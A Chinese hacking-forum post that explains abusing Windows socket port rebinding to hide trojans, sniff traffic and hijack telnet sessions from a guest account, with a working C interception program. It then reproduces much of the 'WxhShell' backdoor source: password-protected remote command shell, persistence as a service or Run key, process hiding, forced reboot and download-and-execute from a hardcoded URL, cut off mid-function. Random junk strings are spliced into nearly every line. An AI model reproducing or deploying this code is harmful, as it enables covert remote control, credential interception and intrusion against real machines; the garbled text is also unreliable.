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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 6x _tX  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Oy `2ccQ#  
:.k)!  
  saddr.sin_family = AF_INET; oF(<}0Z  
1D pRm(  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); t'F_1P^*/  
Wxxnc#;lv  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ?[ts<Ltp  
1~x=bphS  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 JnT1-=t.  
52L* :|b  
  这意味着什么?意味着可以进行如下的攻击: (6WSQqp  
S/XkxGZ2  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Gw;[maM!%`  
!83N. gN  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) KC`~\sYRN]  
Q;3 v ]h_  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 4GY:N6qe '  
tluyx  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  '[6o(~ *  
\>>^eZ  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 _#nP->0)  
I9 R\)3"  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 W97%12J3  
)L%i"=<Bdy  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 \AT]$`8@_  
fy(i<L Z  
  #include nOd'$q  
  #include DsY$  
  #include PI~W6a7p  
  #include    z z4.gkU  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ppBIl6  
  int main() P 3CzX48^  
  { $)5-}NJf'  
  WORD wVersionRequested; 5G-}'-R  
  DWORD ret; zJp@\Yo+  
  WSADATA wsaData; A|D]e)/6+B  
  BOOL val; \*_@`1m  
  SOCKADDR_IN saddr; l9 |x7GB  
  SOCKADDR_IN scaddr; XgfaTX*  
  int err; O;ty k_yM  
  SOCKET s; FZEK-]h.  
  SOCKET sc; Zy -&g:  
  int caddsize; ZL-YoMHc+_  
  HANDLE mt; '|\et aD  
  DWORD tid;   R`RLq1WA  
  wVersionRequested = MAKEWORD( 2, 2 ); &y}nd 7o  
  err = WSAStartup( wVersionRequested, &wsaData ); g8_C|lVZi  
  if ( err != 0 ) { E[FRx1^R9  
  printf("error!WSAStartup failed!\n"); f.o,VVYi  
  return -1; 7sQw&yUL)  
  } B~0L'8WzW  
  saddr.sin_family = AF_INET; 4+V+SD  
   %>cl0W3x  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 B~/LAD_  
_V9 O,"DDc  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); C y b-}l  
  saddr.sin_port = htons(23); H8ws6}C  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) CXQPbt[5  
  { 4@wH4H8  
  printf("error!socket failed!\n"); F=29"1 ._  
  return -1; *hT1_  
  } 6PS #Zydb  
  val = TRUE; }^Unx W  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 cdDMV%V  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) #>|l"1   
  { WJ{hta  
  printf("error!setsockopt failed!\n"); Kzs]+Cl  
  return -1; x=>+.'K  
  } ">n38:?R  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; [U]ouh)  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 nC3U%*l  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 uh~/ybR  
#L{+V?  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) .Z!!x  
  { RsYn6ozb  
  ret=GetLastError(); +7jr]kP9  
  printf("error!bind failed!\n"); FA.h?yfr  
  return -1; _)7dy2%{q  
  } ;BEg"cm  
  listen(s,2); m\h/D7zg  
  while(1) JeR8Mb  
  { r|XNS>V ,$  
  caddsize = sizeof(scaddr); <bwsK,C  
  //接受连接请求 ? [?{X~uq  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); >+[uV ^2[  
  if(sc!=INVALID_SOCKET) *nB fF{y  
  { m[7i<'+S  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); IeqJ>t:   
  if(mt==NULL) IX7|_ci  
  { -$(,&qyk  
  printf("Thread Creat Failed!\n"); ) #/@Jo2F  
  break; |kwkikGQS  
  } qzVmsxBNP  
  } w$9aTL7  
  CloseHandle(mt); ) 0x* >;"o  
  } No)v&P%  
  closesocket(s); Tr1#=&N0  
  WSACleanup(); yqF$J"=|  
  return 0; nb:J"  
  }   Ul?Ha{ W  
  DWORD WINAPI ClientThread(LPVOID lpParam) zX-6]j;  
  { S8O^^jJq;  
  SOCKET ss = (SOCKET)lpParam; .wrNRU7s  
  SOCKET sc; =a`l1zn8=  
  unsigned char buf[4096]; g8yWFqE!T  
  SOCKADDR_IN saddr; `A.!<bO)]  
  long num; <}RU37,W  
  DWORD val; 5#zwd oQ  
  DWORD ret; 4]N`pD5  
  //如果是隐藏端口应用的话,可以在此处加一些判断 2kTLj2 @o,  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   AW8"@  
  saddr.sin_family = AF_INET; P!C!E/Jf5  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ny5 = =C{9  
  saddr.sin_port = htons(23); G 1{F_  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 8k$iz@e  
  { _Cv({m&N  
  printf("error!socket failed!\n"); yA%(!v5UT  
  return -1; EO'[AU%~  
  } vgzNT4o  
  val = 100; U9;C#9E  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) bA-=au?o5  
  { '#SacJ\L7  
  ret = GetLastError(); Q{Gi**<  
  return -1; #,O<E@E  
  } ;T}#-`O_Im  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) }Po&6^  
  { Yn,dM~|Cc  
  ret = GetLastError(); R/ 7G  
  return -1; 30Nya$$A=  
  } slEsSR'J]  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) uG\ +`[-{0  
  { E+$vIYq:W  
  printf("error!socket connect failed!\n"); x.r~e)x=  
  closesocket(sc); t;9f7~  
  closesocket(ss); *-bR~  
  return -1; >9D=PnHnD  
  } 1Y410-.3w{  
  while(1) S%b7NK  
  { ZoB?F  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 7-+X -Y?  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 "k\W2,q[  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 VrhG=CK  
  num = recv(ss,buf,4096,0); %@L(A1"#D  
  if(num>0) EI2V<v  
  send(sc,buf,num,0); t#kR@t+6$\  
  else if(num==0) ?Zu=UVb  
  break; u0h {bu  
  num = recv(sc,buf,4096,0); {4&G\2<^^  
  if(num>0) `gy]|gS#b  
  send(ss,buf,num,0); -p`hevRr  
  else if(num==0) KcVCA    
  break; w,]cFT  
  } b/oJ[Vf  
  closesocket(ss); p"/1Kwqx  
  closesocket(sc); 'DlY8rEGP  
  return 0 ; (F_Wys=6  
  } E9 {Gaa/{  
*J@2A)ZDv0  
7Xv.C&jzd  
========================================================== *&>1A A  
St/Hv[H'[E  
下边附上一个代码,,WXhSHELL Yt2_*K@rC  
eJ>(SkR:[  
========================================================== |sHIT<=m  
.x$+ 7$G  
#include "stdafx.h" >t u3m2  
J'y*;@4l^:  
#include <stdio.h> {mF:m5e  
#include <string.h> J%EbJ5p<QF  
#include <windows.h> m.-l&@I2/<  
#include <winsock2.h> l%lkDh!$"  
#include <winsvc.h> 0 8vA;6zt  
#include <urlmon.h> W,YzD&f=uS  
V4f ~#Tp  
#pragma comment (lib, "Ws2_32.lib") }4Lv-9s,  
#pragma comment (lib, "urlmon.lib") $k*E^~qT  
[g/Hf(&  
#define MAX_USER   100 // 最大客户端连接数 '=@O]7o~  
#define BUF_SOCK   200 // sock buffer {) 4D1  
#define KEY_BUFF   255 // 输入 buffer DM{ 7x77  
>+R`3|o '  
#define REBOOT     0   // 重启 L~Epd.,Dt  
#define SHUTDOWN   1   // 关机 K9}ppgL'$  
pox\Gu~.0  
#define DEF_PORT   5000 // 监听端口 .Xh^L  
"$PbpY  
#define REG_LEN     16   // 注册表键长度 ; P I=jp  
#define SVC_LEN     80   // NT服务名长度 /iNCb&[  
ROr$ Sz  
// 从dll定义API ;JA2n\iP,  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); I-4csw<Qy  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); gIep6nq1`|  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ' A= x  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); aDR<5_Yb  
k&ujr:)5Y5  
// wxhshell配置信息 ( }5k"9Z  
struct WSCFG { _Qs )~  
  int ws_port;         // 监听端口 /s uz>o\  
  char ws_passstr[REG_LEN]; // 口令 e-H:;m5R  
  int ws_autoins;       // 安装标记, 1=yes 0=no 25*/]i u  
  char ws_regname[REG_LEN]; // 注册表键名 S #%'Vrp  
  char ws_svcname[REG_LEN]; // 服务名 cC1nC76[  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Qs8iu`'  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 5 |{0|mP  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 3D +>NB  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 6T&6N0y+9  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" s#?Y^bgH  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 #Qc[W +%  
f8_5.vlw  
}; YMad]_XOP  
Q<P],}?:  
// default Wxhshell configuration ]3xnq<  
struct WSCFG wscfg={DEF_PORT, fXvJ3w(  
    "xuhuanlingzhe", TLl*gED  
    1, )-#%  
    "Wxhshell", Yn[y9;I{  
    "Wxhshell", 8263  
            "WxhShell Service", {_|~G|Z  
    "Wrsky Windows CmdShell Service", /"tVOv#  
    "Please Input Your Password: ", $}2m%$vJO  
  1, o5mt7/5[i  
  "http://www.wrsky.com/wxhshell.exe", .?CDWbzq  
  "Wxhshell.exe" -#j-Zo+<  
    }; =G;whd}]  
1\{0z3P  
// 消息定义模块 ' wvZnb  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1wuLw Ad  
char *msg_ws_prompt="\n\r? for help\n\r#>"; <a2t"rc  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 'CjcOI s  
char *msg_ws_ext="\n\rExit."; j\f;zb?F  
char *msg_ws_end="\n\rQuit."; jY$Bns&.w  
char *msg_ws_boot="\n\rReboot..."; 2!cP[ Ck  
char *msg_ws_poff="\n\rShutdown..."; U:c!9uhp  
char *msg_ws_down="\n\rSave to "; }E[S%W[  
*bDuRr?v9  
char *msg_ws_err="\n\rErr!"; 7&/iuP$.  
char *msg_ws_ok="\n\rOK!"; cgc| G  
~EW (2B{u  
char ExeFile[MAX_PATH]; + B%fp*  
int nUser = 0; nYY@+%` ]z  
HANDLE handles[MAX_USER]; \gki!!HQ  
int OsIsNt; Nj*J~&6G  
(ScL  C  
SERVICE_STATUS       serviceStatus; Xgn^)+V:  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 5@P2Z]Q  
\;I%>yOIu  
// 函数声明 $dFEC}1t  
int Install(void); ?%i|].<-'  
int Uninstall(void); Ui@Q&%b  
int DownloadFile(char *sURL, SOCKET wsh); }N:0%Gk[;  
int Boot(int flag); .T L0cfTo  
void HideProc(void); bqFGDmu6'  
int GetOsVer(void); 66fvS}x  
int Wxhshell(SOCKET wsl); TjncW/\Z  
void TalkWithClient(void *cs); Dsw(ti`@  
int CmdShell(SOCKET sock); ])'22sY  
int StartFromService(void); 2Prr:k  
int StartWxhshell(LPSTR lpCmdLine); D@!`b6  
;t:B:4r(j  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); "639oB  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?lnX."eAdB  
us"SM\X#  
// 数据结构和表定义 uNxR#S  
SERVICE_TABLE_ENTRY DispatchTable[] = xV}E3Yj2#  
{ !3v!BJ#+,&  
{wscfg.ws_svcname, NTServiceMain}, }?$d~]t)  
{NULL, NULL} epJVs0W  
}; K;,n?Q w  
+IK~a9t  
// 自我安装 7]@vPr;:  
int Install(void) y'*^ '  
{ b4Zkj2L  
  char svExeFile[MAX_PATH];  [53rSr  
  HKEY key; 4M*UVdJ;  
  strcpy(svExeFile,ExeFile); b|u4h9  
I{ ;s.2  
// 如果是win9x系统,修改注册表设为自启动 q62TYg}  
if(!OsIsNt) { F/tBr%RV  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4gG&u33RrE  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); GQ[: vX`  
  RegCloseKey(key); 36@)a5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `S2YBKz,1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); m%m/#\J E  
  RegCloseKey(key); _=3H!b =  
  return 0; |+mhYq|`  
    } vo-n9Bj  
  } '=G4R{  
} )3=oS1p  
else { xqmP/1=NO  
3cBuqQ  
// 如果是NT以上系统,安装为系统服务 AH;0=<n  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); RvZi%)  
if (schSCManager!=0) K%[Rv#>;q|  
{ b&"=W9(V  
  SC_HANDLE schService = CreateService BLgmF E2  
  ( Y 6K<e:Y  
  schSCManager, cAM1\3HWT"  
  wscfg.ws_svcname, 'M=(5p  
  wscfg.ws_svcdisp, w{?nX6a@p  
  SERVICE_ALL_ACCESS, Jt43+]  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , HB\<nK  
  SERVICE_AUTO_START, (^ZC8)0i(  
  SERVICE_ERROR_NORMAL, aAh")B2  
  svExeFile, B#&U5fSw+0  
  NULL, Dp8YzWL2^  
  NULL, 57Y(_h:  
  NULL, :iD( [V  
  NULL, y)t< r  
  NULL *^bqpW2$q  
  ); _*0!6?c  
  if (schService!=0) w{#K.dx  
  { kpsus \T  
  CloseServiceHandle(schService); @OZW1p  
  CloseServiceHandle(schSCManager); cR[)[9}  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); W#$ pt>h)  
  strcat(svExeFile,wscfg.ws_svcname); -\b~R7VQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { YT+fOndjaF  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); UO5^4  
  RegCloseKey(key); ,}2M'DSWa  
  return 0; 9`f]Rf"  
    } >:4}OylhM  
  } tQ< ou,   
  CloseServiceHandle(schSCManager); T)6p,l  
} kG[u$[B  
} \m1r(*Ar  
B'"C?d<7  
return 1; T;w%-k\<r  
} H[U$4 %t  
!lG5BOJM  
// 自我卸载 G#ZU^%$M,  
int Uninstall(void) H2 5Mx>|d  
{ Z Mids"Xdf  
  HKEY key; DPw"UY:  
w 6+X{  
if(!OsIsNt) { \CM/KrCR  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ytmt+9  
  RegDeleteValue(key,wscfg.ws_regname); o/@.*Rj>Bg  
  RegCloseKey(key); 'b]GcAL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { '*MNRduE6  
  RegDeleteValue(key,wscfg.ws_regname);  ]hpocr  
  RegCloseKey(key); 3kx/Q#  
  return 0; Qv(}*iq]  
  } 0V`s 3,k  
} +e);lS"+/  
} "1$OPt5  
else { mk~&>\  
v T2YX5k&,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); *.K+"WS%  
if (schSCManager!=0) DlC`GZEtqh  
{ YQ}Rg5 o  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ogbLs)&+a  
  if (schService!=0) /@g D 8  
  { |G&<@8O  
  if(DeleteService(schService)!=0) { \\AufAkJ  
  CloseServiceHandle(schService); ;f#%0W{":  
  CloseServiceHandle(schSCManager); @Iia>G @Rz  
  return 0; ~cbq5||  
  } FU kO$jnO  
  CloseServiceHandle(schService); OE]z C  
  } NVU@m+m~  
  CloseServiceHandle(schSCManager); 7pH(_-TF  
} |&`NB|  
} }]$%aMxy T  
AWsO? |YT  
return 1; qX^#fk7]  
} N%v}$58Z  
mjO4GpG3  
// 从指定url下载文件 .xS3,O_[  
int DownloadFile(char *sURL, SOCKET wsh) 0%+S@_|  
{ dnTB$8&  
  HRESULT hr; #56}RV1  
char seps[]= "/"; Eq c&iS~  
char *token; TCYjj:/  
char *file; -lV]((I&  
char myURL[MAX_PATH]; G7yCGT)vQ  
char myFILE[MAX_PATH]; lyNa(3  
? acm5dN  
strcpy(myURL,sURL); _) k=F=  
  token=strtok(myURL,seps); 3 GmU$w  
  while(token!=NULL) [g`9C!P-G  
  { e` Z;}& ,  
    file=token; A&*lb7X  
  token=strtok(NULL,seps); ()e.J  
  } +dq&9N/  
];i-d7C  
GetCurrentDirectory(MAX_PATH,myFILE); ) (unL`y  
strcat(myFILE, "\\"); fDt#<f 4;  
strcat(myFILE, file); 6My=GByC  
  send(wsh,myFILE,strlen(myFILE),0); 6Qne rd%Ec  
send(wsh,"...",3,0); ukHSHsR  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); pp@Jndlg  
  if(hr==S_OK) 4*'5EBa1  
return 0; .lAqD-  
else _ +[;NBz  
return 1; dP63bV  
NBEcx>pma  
} 1wP#?p)c  
h}r*   
// 系统电源模块 r CU f,)  
int Boot(int flag) k,wr6>'Vt  
{ S L<P`H|  
  HANDLE hToken; Vp{! Ft8>  
  TOKEN_PRIVILEGES tkp; A:PQIcR;V  
Wd#r-&!6j  
  if(OsIsNt) { /tR@J8pV  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); "| cNY_$&s  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); d 4w+5H" u  
    tkp.PrivilegeCount = 1; CB_ww=  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; J}U);A  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ;#$ 67G$  
if(flag==REBOOT) { :tU&d(8  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) -9TNU7^  
  return 0; Q%)da)0:c  
} -x)Oo`  
else { AdBB#zd  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) soh)IfZ  
  return 0; @yiAi:v@  
} H~IR:WOw  
  } `>KB8SY:qK  
  else { 95LZG1]Rb  
if(flag==REBOOT) { =?g26>dYo  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Z-X(. Q  
  return 0; bC*( ,n<'  
} |s[kY  
else { 2yZ/'}Mw  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) h&@ A'om~  
  return 0; ZGO% lkZ.  
} 0?OTa<c  
} h6J0b_3h4  
M"# >?6{  
return 1; x&}pM}ea  
} 8CCd6)cG  
]."~)  
// win9x进程隐藏模块 P`r@<cgb=  
void HideProc(void) #tX\m ;  
{ =v^LShD2^  
%+Hhe]J ld  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); c6/+Ye =h  
  if ( hKernel != NULL ) Wy1#K)LRb  
  { &Ui*w%  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); IxN0m7  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); _2uRY  
    FreeLibrary(hKernel); !bs{/?  
  } >%Rb}Ki4  
EGpN@  
return; >K:| +XbH  
} ffyDi1Q  
OBrbWXp@  
// 获取操作系统版本 KFQ4vavNh  
int GetOsVer(void) ^w]N#%k\H  
{ yKupPp);  
  OSVERSIONINFO winfo; pFE&`T@ <  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); r\nKJdh;ka  
  GetVersionEx(&winfo); }nh!dVA8lh  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) UQ]WBS\  
  return 1; 6zv-nMZc  
  else 6&,n\EXF  
  return 0; me-Tv7WL  
} .Ukejx  
| e{F;8  
// 客户端句柄模块 K @x4>9 3n  
int Wxhshell(SOCKET wsl) MzUNk`T @  
{ ^na8d's:  
  SOCKET wsh; )}ygzKEa  
  struct sockaddr_in client; _cPGS=Ew  
  DWORD myID; `y"(\1  
`|nCr  
  while(nUser<MAX_USER) cyYsz'i m  
{ Iw@ou  
  int nSize=sizeof(client); R(YhVW_l  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Y)~Y;;/G  
  if(wsh==INVALID_SOCKET) return 1; ~V#MI@]V~  
&n6'r^[D  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Ek'~i  
if(handles[nUser]==0) vbFi# |EU  
  closesocket(wsh); %{M_\Ae#  
else tc-pVw:TV  
  nUser++; ]rwHr;.  
  } Z8vMVo  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ai,\'%N  
jhRg47A  
  return 0; 8&[Lr o9  
} 0}LB nV  
9)c{L<o}T  
// 关闭 socket 9E`WZo^.  
void CloseIt(SOCKET wsh) #eRrVjbo  
{ ?E>(zV1D/  
closesocket(wsh); +#* F"k(  
nUser--; %E<.\\^%  
ExitThread(0); o )\\(^ld  
} \xCI8 *W  
pFB^l|\ ]  
// 客户端请求句柄 fEv`iXZG  
void TalkWithClient(void *cs) h?Y->!'  
{ ]81t~t9LQ  
sxG8 jD  
  SOCKET wsh=(SOCKET)cs; seQSDCsvw*  
  char pwd[SVC_LEN]; C0f<xhp?j  
  char cmd[KEY_BUFF]; ""~b1kEt  
char chr[1]; ON,sN  
int i,j; )GT*HJR(vc  
egXHp<bqw  
  while (nUser < MAX_USER) { u"$=:GK  
X  jPPgI  
if(wscfg.ws_passstr) { Xu.Wdl/{Ra  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,(&p "O":  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -RLY.@'d-M  
  //ZeroMemory(pwd,KEY_BUFF); 95XQ?%  
      i=0; @Sr{6g*I  
  while(i<SVC_LEN) { `7D]J*?`  
@PQ% xcOC7  
  // 设置超时 Os90fR  
  fd_set FdRead; kA.U2  
  struct timeval TimeOut; (&Kv]--  
  FD_ZERO(&FdRead); m{v*\e7 P  
  FD_SET(wsh,&FdRead); @V\ u<n  
  TimeOut.tv_sec=8; $a@T:zfe  
  TimeOut.tv_usec=0; v3*y43  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ZXJ]==  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); |>Ld'\i8  
Mzg zOM  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); c 5%uiv]  
  pwd=chr[0]; ~M c'~:{O  
  if(chr[0]==0xd || chr[0]==0xa) { ]NEr]sc-"F  
  pwd=0; cD%_+@GaU  
  break; S|jE1v"L  
  } L2sUh+'|  
  i++; o^efeI  
    } CD! Aa  
7^oO N+=d  
  // 如果是非法用户,关闭 socket @%^JB  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #NyfE|MKBC  
} DXa!"ZU  
i-jrF6&  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); > eC>sTPQ{  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \PzJ66DL!  
*HONA>u   
while(1) { UR|Au'iu  
{}n]\zO %  
  ZeroMemory(cmd,KEY_BUFF); 3>'TYXs-  
W?:e4:Q  
      // 自动支持客户端 telnet标准   3LkcK1x.  
  j=0; De-hHY{>  
  while(j<KEY_BUFF) { gX%"Ki7.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6(1S_b=a  
  cmd[j]=chr[0]; ?Tlt(%f  
  if(chr[0]==0xa || chr[0]==0xd) { u\A L`'v  
  cmd[j]=0; 7W MF8(j5  
  break; nb~592u  
  } U[R[VY7  
  j++; f=EWr8mno  
    } mB5Sm|{  
`x:O&2  
  // 下载文件 }> ]`#s  
  if(strstr(cmd,"http://")) { RxYC]R^78  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); |muZv!,E  
  if(DownloadFile(cmd,wsh)) (&KBYiwr  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Be~ '@  
  else dJ 9v/k_  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]:r(U5 #  
  } 1KadT7<0}  
  else { xG1(vn83gq  
Djr/!j  
    switch(cmd[0]) { xFzaVjjP  
  RI3GAd  
  // 帮助 0F%/R^mw  
  case '?': { U1)!X@F{  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); `uof\D<']  
    break; @b9qBJfQ  
  } ANRZQpnXQ  
  // 安装 bs_< UE  
  case 'i': { WjsmLb:5  
    if(Install()) v hGX&   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XE$;Z'Qhjm  
    else %%T?LRv  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v:gdG|n"  
    break; (XNd]G  
    } (5l'?7  
  // 卸载 2@Zw#2|]  
  case 'r': { pM-mZ/?  
    if(Uninstall()) 8wLGmv^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j 6dlAe  
    else wD92Ava   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "#.L\p{Zy  
    break; )tx2lyY:  
    } 9hei8L:  
  // 显示 wxhshell 所在路径 Ov;q]Vn>  
  case 'p': { ?P;=_~X  
    char svExeFile[MAX_PATH]; u)[i'ceQZ:  
    strcpy(svExeFile,"\n\r"); 4*9BAv  
      strcat(svExeFile,ExeFile); "#8I &xZK  
        send(wsh,svExeFile,strlen(svExeFile),0); zXW;W$7V4  
    break; Dn48?A[v  
    } ~IFafAO&  
  // 重启 f C+tu>=  
  case 'b': { +fN2%aC  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ?!u9=??  
    if(Boot(REBOOT)) ;o?o92d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ui80}%  
    else { JYnyo$m/  
    closesocket(wsh); wA o6:)  
    ExitThread(0); qGi\*sc>x  
    } d~KTUgH'<  
